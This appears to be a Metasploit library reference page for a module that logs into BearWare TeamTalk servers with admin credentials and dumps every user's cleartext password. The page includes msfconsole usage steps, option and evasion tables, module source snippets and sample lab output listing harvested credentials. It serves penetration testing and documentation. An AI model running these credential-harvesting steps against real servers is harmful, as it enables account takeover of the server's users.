TeamTalk Gather Credentials - Metasploit
This page contains detailed information about how to use the auxiliary/gather/teamtalk_creds metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: TeamTalk Gather Credentials
Module: auxiliary/gather/teamtalk_creds
Source code: modules/auxiliary/gather/teamtalk_creds.rb
Disclosure date: -
Last modification time: 2019-08-15 18:10:44 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 10333
List of CVEs: -
This module retrieves user credentials from BearWare TeamTalk. Valid administrator credentials are required. This module has been tested successfully on TeamTalk versions 5.2.2.4885 and 5.2.3.4893.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/gather/teamtalk_creds
msf auxiliary(teamtalk_creds) > show targets
... a list of targets ...
msf auxiliary(teamtalk_creds) > set TARGET target-id
msf auxiliary(teamtalk_creds) > show options
... show and set options ...
msf auxiliary(teamtalk_creds) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Description
This module retrieves user credentials from BearWare TeamTalk.
Valid administrator credentials are required.
Starting from version 5, TeamTalk allows users to login using a username and password combination. The username and password are stored on the server in clear text and can be retrieved remotely by any user with administrator privileges.
Vulnerable Application
TeamTalk 5 is a freeware conferencing system which allows multiple users to participate in audio and video conversations. The TeamTalk install file includes both client and server application. A special client application is included with accessibility features for visually impaired.
This module has been tested successfully on TeamTalk versions 5.2.2.4885 and 5.2.3.4893.
The TeamTalk software is available on the BearWare website and on GitHub.
Verification Steps
- Start
msfconsole
- Do:
use auxiliary/gather/teamtalk_creds
- Do:
set rhost <RHOST>
- Do:
set rport <RPORT>
(default:10333
) - Do:
set username <USERNAME>
(default:admin
) - Do:
set password <PASSWORD>
(default:admin
) - Do:
run
- You should get credentials
Scenarios
[*] 172.16.191.166:10333 - Found TeamTalk (protocol version 5.2)
[+] 172.16.191.166:10333 - Authenticated successfully
[+] 172.16.191.166:10333 - User is an administrator
[*] 172.16.191.166:10333 - Found 5 users
TeamTalk User Credentials
=========================
Username Password Type
-------- -------- ----
debbie 1234567890 1
murphy 934txs 2
quinn ~!@#$%^&*()_+{}|:" <>?;',./ 2
sparks password 2
stormy 1
[+] 172.16.191.166:10333 - Credentials saved in: /root/.msf4/loot/20170724092809_default_172.16.191.166_teamtalk.user.cr_034806.txt
[*] Auxiliary module execution completed
Go back to menu.
Msfconsole Usage
Here is how the gather/teamtalk_creds auxiliary module looks in the msfconsole:
msf6 > use auxiliary/gather/teamtalk_creds
msf6 auxiliary(gather/teamtalk_creds) > show info
Name: TeamTalk Gather Credentials
Module: auxiliary/gather/teamtalk_creds
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
bcoles <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD admin yes The password for the specified username
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 10333 yes The target port (TCP)
USERNAME admin yes The username for TeamTalk
Description:
This module retrieves user credentials from BearWare TeamTalk. Valid
administrator credentials are required. This module has been tested
successfully on TeamTalk versions 5.2.2.4885 and 5.2.3.4893.
References:
https://github.com/BearWare/TeamTalk5/blob/master/ttphpadmin/tt5admin.php
Module Options
This is a complete list of options available in the gather/teamtalk_creds auxiliary module:
msf6 auxiliary(gather/teamtalk_creds) > show options
Module options (auxiliary/gather/teamtalk_creds):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD admin yes The password for the specified username
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 10333 yes The target port (TCP)
USERNAME admin yes The username for TeamTalk
Advanced Options
Here is a complete list of advanced options supported by the gather/teamtalk_creds auxiliary module:
msf6 auxiliary(gather/teamtalk_creds) > show advanced
Module advanced options (auxiliary/gather/teamtalk_creds):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the gather/teamtalk_creds module can do:
msf6 auxiliary(gather/teamtalk_creds) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the gather/teamtalk_creds auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(gather/teamtalk_creds) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
TeamTalk does not appear to be running
Here is a relevant code snippet related to the "TeamTalk does not appear to be running" error message:
37:
38: connect
39: banner = sock.get_once
40:
41: unless banner =~ /^teamtalk\s.*protocol="([\d\.]+)"/
42: fail_with Failure::BadConfig, 'TeamTalk does not appear to be running'
43: end
44:
45: print_status "Found TeamTalk (protocol version #{$1})"
46:
47: report_service :host => rhost,
Authentication failed
Here is a relevant code snippet related to the "Authentication failed" error message:
53:
54: req = "login username=\"#{username.tr('"', '\"')}\" password=\"#{password.tr('"', '\"')}\""
55: res = send_command req
56:
57: unless res.to_s.starts_with? 'accepted'
58: fail_with Failure::NoAccess, 'Authentication failed'
59: end
60:
61: print_good 'Authenticated successfully'
62:
63: if res =~ /usertype=2/
User is not an administrator
Here is a relevant code snippet related to the "User is not an administrator" error message:
61: print_good 'Authenticated successfully'
62:
63: if res =~ /usertype=2/
64: print_good 'User is an administrator'
65: else
66: print_warning 'User is not an administrator'
67: end
68:
69: vprint_status "Retrieving users..."
70:
71: res = send_command 'listaccounts'
Command not authorized
Here is a relevant code snippet related to the "Command not authorized" error message:
68:
69: vprint_status "Retrieving users..."
70:
71: res = send_command 'listaccounts'
72:
73: if res =~ /^error/ && res =~ /message="Command not authorized"/
74: print_error 'Insufficient privileges'
75: return
76: end
77:
78: unless res =~ /^ok\r?\n?\z/
Insufficient privileges
Here is a relevant code snippet related to the "Insufficient privileges" error message:
69: vprint_status "Retrieving users..."
70:
71: res = send_command 'listaccounts'
72:
73: if res =~ /^error/ && res =~ /message="Command not authorized"/
74: print_error 'Insufficient privileges'
75: return
76: end
77:
78: unless res =~ /^ok\r?\n?\z/
79: print_error 'Unexpected reply'
Unexpected reply
Here is a relevant code snippet related to the "Unexpected reply" error message:
74: print_error 'Insufficient privileges'
75: return
76: end
77:
78: unless res =~ /^ok\r?\n?\z/
79: print_error 'Unexpected reply'
80: return
81: end
82:
83: cred_table = Rex::Text::Table.new 'Header' => 'TeamTalk User Credentials',
84: 'Indent' => 1,
Did not find any users
Here is a relevant code snippet related to the "Did not find any users" error message:
98: type: type,
99: proof: line
100: end
101:
102: if cred_table.rows.empty?
103: print_error 'Did not find any users'
104: return
105: end
106:
107: print_status "Found #{cred_table.rows.size} users"
108: print_line
Timeout (<TIMEOUT> seconds)
Here is a relevant code snippet related to the "Timeout (<TIMEOUT> seconds)" error message:
167: Timeout.timeout(timeout) do
168: res << sock.get_once until res =~ /^end id=#{cmd_id}/
169: end
170:
171: res.to_s.scan(/begin id=#{cmd_id}\r?\n(.*)\r?\nend id=#{cmd_id}/m).flatten.first
172: rescue Timeout::Error
173: print_error "Timeout (#{timeout} seconds)"
174: rescue => e
175: print_error e.message
176: end
177: end
Go back to menu.
Related Pull Requests
- #12205 Merged Pull Request: Update module and generate splats from http:// to https://
- #11234 Merged Pull Request: revisionism
- #10505 Merged Pull Request: Add post authentication information in modules
- #8759 Merged Pull Request: Add TeamTalk Gather Credentials auxiliary module
References
See Also
Check also the following modules related to this module:
- auxiliary/admin/http/sysaid_sql_creds
- auxiliary/gather/advantech_webaccess_creds
- auxiliary/gather/apache_rave_creds
- auxiliary/gather/asterisk_creds
- auxiliary/gather/doliwamp_traversal_creds
- auxiliary/gather/eaton_nsm_creds
- auxiliary/gather/hp_snac_domain_creds
- auxiliary/gather/trackit_sql_domain_creds
- auxiliary/scanner/http/manageengine_deviceexpert_user_creds
- auxiliary/scanner/http/novell_mdm_creds
- auxiliary/scanner/http/surgenews_user_creds
- auxiliary/scanner/http/wordpress_multicall_creds
- auxiliary/gather/dolibarr_creds_sqli
- auxiliary/gather/fortios_vpnssl_traversal_creds_leak
- auxiliary/gather/pimcore_creds_sqli
- auxiliary/scanner/http/symantec_brightmail_ldapcreds
Authors
bcoles
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.